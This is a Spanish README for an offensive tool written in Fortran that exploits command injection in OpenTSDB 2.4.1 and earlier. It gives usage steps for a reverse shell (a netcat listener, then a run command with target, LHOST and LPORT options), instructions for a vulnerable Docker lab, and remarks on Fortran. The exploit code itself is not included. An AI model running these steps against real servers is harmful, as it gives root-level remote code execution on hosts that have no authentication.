
Un exploit para OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) escrito en Fortran
Un exploit para OpenTSDB <= 2.4.1 con inyección de comandos (CVE-2023-36812/CVE-2023-25826) escrito en Fortran
Este es un exploit para una vulnerabilidad de inyección de comandos en OpenTSDB versiones 2.4.1 y anteriores (CVE-2023-36812/CVE-2023-25826). El exploit está escrito en Fortran moderno y utiliza la biblioteca oficial http-client de Fortran creada a principios de este año.
OpenTSDB es una base de datos de series temporales de código abierto escrita en Java. En 2020, se descubrió una vulnerabilidad de inyección de comandos en las versiones 2.4.0 y anteriores que podía explotarse para obtener ejecución remota de código en el host con privilegios de root. Dado que OpenTSDB no admite autenticación, esta vulnerabilidad, rastreada como CVE-2020-35476, podía ser explotada por cualquier persona con acceso a la interfaz web de OpenTSDB. El problema se solucionó en la versión 2.4.1.
Este año se descubrió que el parche para CVE-2020-35476 estaba incompleto, y la inyección de comandos sigue siendo posible en OpenTSDB 2.4.1 a través de varios vectores.
Detalles:
La versión corta es que vi esta conversación:

La idea de escribir un exploit en el lenguaje de programación utilizado para llevar personas a la luna me intrigó tanto que tuve que explorarlo yo mismo. Este exploit es el resultado de ese experimento. A la pregunta de si tuvo éxito, solo puedo responder con estas sabias, aunque malditas, palabras que unen a todos los desarrolladores en sangre: Funciona en mi máquina. ¯\(ツ)/¯
En cualquier caso, mis principales conclusiones de este proyecto son:
En general, no es fácil imaginar que este lenguaje realmente gane relevancia en la seguridad ofensiva, aunque solo sea porque hay tantas alternativas sólidas y modernas para cualquier caso de uso imaginable (Python, Go, Rust, Ruby, C# por nombrar solo algunas). Pero si te gusta experimentar con diferentes lenguajes de programación y no te importa encapsular tus cadenas en llamadas trim() todo el tiempo (POR FAVOR, TOMA NOTA DE ESTO, TE AHORRARÁ MUCHO SUFRIMIENTO), Fortran definitivamente vale la pena echarle un vistazo. Sin ironía, ahora estoy apoyando este lenguaje y podría retomarlo si continúan agregando soporte a la biblioteca http-client, especialmente si en algún momento agregan una biblioteca http-server.
TL;DR: La biblioteca http-client de Fortran hace brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /ruta/hacia/opentsdb_key_cmd_injection/
fpm (asegúrate de instalarlo primero. Consulta las instrucciones de instalación en la siguiente sección)# /ruta/hacia/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Opciones:
-t - URL OBJETIVO: la URL base de OpenTSDB (obligatorio)-l - LHOST: la IP del sistema donde estás ejecutando un listener (obligatorio)-p - LPORT: el puerto del listener (obligatorio)-v - VERBOSE: habilita la impresión detallada (opcional)gfortran. En sistemas basados en Debian se puede hacer mediante:apt install gfortran
chmod +x /<ruta>/hacia/fpm
Asegúrate de tener git instalado en tu sistema antes de instalar fpm.
Para una instalación manual, puedes seguir las instrucciones oficiales de instalación aquí. Sin embargo, esto puede ser molesto, por lo que recomendaría usar Docker en su lugar.
Para la versión 2.4.0, puedes usar la imagen Docker de vulnhub y seguir las instrucciones de instalación aquí. Esa imagen fue creada para CVE-2020-35476, una vulnerabilidad anterior en OpenTSDB hasta la versión 2.4.0.
Para la versión 2.4.1 y probablemente cualquier otra versión, podrías aprovechar la imagen de vulhub para OpenTSDB 2.4.0 y editarla para instalar la versión que desees. Seguí este enfoque para 2.4.1 y funcionó muy bien.
Dockerfile y docker-entrypoint.sh de vulhub para OpenTSDB 2.4.0 desde aquí y guárdalos en un directorio dedicado.Dockerfile, reemplaza todas las instancias de 2.4.0 con la versión deseada, por ejemplo 2.4.1.docker-entrypoint.sh.docker-compose.yml con el siguiente contenido:version: '2'
services:
opentsdb:
build: ./ruta-hacia-tu-directorio-dockerfile
ports:
- "4242:4242"
Yo usé esta estructura de archivos:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d
Fortran es conocido principalmente como un lenguaje arcaico que desempeñó un papel importante en la historia de la informática moderna, pero que hoy en día ya no se considera relevante. Se lanzó por primera vez en 1957, más de una década antes que ARPANET y Unix. Según este video de series temporales, fue el lenguaje de programación dominante durante las décadas de 1960 y 1970, y se mantuvo entre los 10 lenguajes más populares hasta finales de la década de 1990. Pero para cuando se lanzó Windows 98, claramente había pasado de moda, en favor de lenguajes más modernos como C, C++, Java y JavaScript, todos los cuales aún se utilizan ampliamente en la actualidad.
Aparte de las almas valientes que mantienen sistemas heredados, dudo que muchas personas en TI (y mucho menos fuera de nuestra burbuja) se hayan topado con Fortran en las últimas dos décadas, o siquiera sepan que todavía existe. A pesar de ello, Fortran sigue en desarrollo activo. Como se indica en el sitio web oficial de Fortran, el lenguaje se revisó por última vez en 2018, y esperamos ver otra revisión este año (2023). De hecho, parece que la comunidad de Fortran ha estado muy activa en los últimos años, lanzando varios proyectos importantes para ayudar a modernizar el ecosistema, incluyendo:
Dado esto, parece que los mantenedores apuntan a un cierto regreso de Fortran, o al menos a darle al lenguaje una oportunidad de sobrevivir unas décadas más. Si bien incluso el fanático más radical de Fortran probablemente no espera volver a ver el lenguaje en el top 10 de los lenguajes de programación más populares, la modernización continua del lenguaje y su ecosistema probablemente ha hecho que Fortran sea más relevante de lo que ha sido en las últimas una o dos décadas.